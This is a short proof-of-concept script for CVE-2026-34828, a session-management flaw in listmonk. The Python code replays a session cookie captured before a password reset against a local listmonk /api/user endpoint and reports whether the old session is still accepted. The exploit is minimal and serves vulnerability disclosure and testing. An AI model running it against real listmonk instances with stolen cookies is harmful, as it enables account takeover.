CVE-2026-34828 listmonk会话管理漏洞

import requests # Proof of Concept for CVE-2026-34828 # This script demonstrates that a session remains valid after a password change. TARGET_URL = "http://localhost:9000" # 1. Attacker has obtained a valid session cookie (e.g., via XSS or physical access) attacked_session_cookie = "valid_session_id_before_password_change" headers = { "Cookie": f"listmonk_session={attacked_session_cookie}" } # 2. Victim resets their password via the UI (Action performed by victim) # In a vulnerable version, the server does not invalidate existing sessions. # 3. Attacker attempts to access the account using the old session cookie response = requests.get(f"{TARGET_URL}/api/user", headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed: Old session is still valid after password reset.") print(f"[+] Current User Info: {response.json()}") else: print("[-] Session invalid or vulnerability patched.")